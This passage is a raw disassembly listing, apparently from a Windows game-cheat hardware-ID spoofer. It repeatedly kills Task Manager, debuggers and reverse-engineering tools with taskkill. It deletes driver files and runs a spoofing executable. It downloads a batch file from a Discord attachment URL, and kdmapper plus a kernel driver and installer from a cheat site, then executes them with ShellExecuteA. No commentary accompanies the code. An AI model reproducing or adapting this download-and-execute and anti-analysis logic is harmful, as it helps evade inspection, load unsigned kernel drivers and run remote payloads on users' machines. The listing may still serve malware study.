call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6390]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6390]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CIMV2__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x63b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x63b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x63b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMI__XXXX_XXXX_XXXX
lea rcx, [rsp + 0x63d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x63d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x63d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__WMIC_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x63f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x63f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x63f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BMH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6410]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6410]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6410]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BPH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6430]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6430]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6430]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BVH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6450]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6450]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6450]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BSH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6470]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6470]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6470]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BTH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6490]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6490]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6490]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__BLCH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x64b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x64b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x64b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__IVN_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x64d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x64d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x64d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ID_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x64f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x64f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x64f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6510]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6510]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6510]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPC_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6530]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6530]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6530]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CMH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6550]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6550]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6550]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CTH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6570]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6570]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6570]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CVH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6590]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6590]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6590]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x65b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x65b0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x65b0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CAH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x65d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x65d0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x65d0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__COH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x65f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x65f0]
call fcn.14006c020
nop
lea rcx, [rsp + 0x65f0]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CHH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6610]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6610]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6610]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CPCH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6630]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6630]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6630]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__CSKH_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6650]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6650]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6650]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__SU_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6670]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6670]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6670]
call fcn.14005d8e0
lea rdx, str.C:WindowsSystem32Mobo.exe__ALL_XXXX_XXXX_XXXX
lea rcx, [rsp + 0x6690]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0x6690]
call fcn.14006c020
nop
lea rcx, [rsp + 0x6690]
call fcn.14005d8e0
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rcx, str.C:WindowsSystem32Mobo.exe
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv32.sys
call fcn.1402b632c
lea rcx, str.C:WindowsSystem32_amifldrv64.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
lea rcx, str.C:Program_FilesCommon_FilesSystem_adoRANDOMIZEDISK.sys
call fcn.1402b632c
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xa850]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xa830]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa830]
call fcn.14005d8d0
mov qword [rsp + 0x1290], rax
lea rcx, [rsp + 0xa850]
call fcn.14005d8d0
mov qword [rsp + 0x1298], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1290]
mov rdx, qword [rsp + 0x1298]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_macchangerdriver.sys
lea rcx, [rsp + 0xa810]
call fcn.14005d9d0
nop
lea rdx, [0x140392930]
lea rcx, [rsp + 0xa7f0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_kdmapper.exe
lea rcx, [rsp + 0xa7d0]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xa7b0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_TEMP_MACCHANGERdriverinstaller.bat
lea rcx, [rsp + 0xa790]
call fcn.14005d9d0
nop
lea rdx, [0x140392970]
lea rcx, [rsp + 0xa770]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa7f0]
call fcn.14005d8d0
mov qword [rsp + 0x12a0], rax
lea rcx, [rsp + 0xa810]
call fcn.14005d8d0
mov qword [rsp + 0x12a8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x12a0]
mov rdx, qword [rsp + 0x12a8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xa7b0]
call fcn.14005d8d0
mov qword [rsp + 0x12b0], rax
lea rcx, [rsp + 0xa7d0]
call fcn.14005d8d0
mov qword [rsp + 0x12b8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x12b0]
mov rdx, qword [rsp + 0x12b8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xa770]
call fcn.14005d8d0
mov qword [rsp + 0x12c0], rax
lea rcx, [rsp + 0xa790]
call fcn.14005d8d0
mov qword [rsp + 0x12c8], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x12c0]
mov rdx, qword [rsp + 0x12c8]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140392970]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
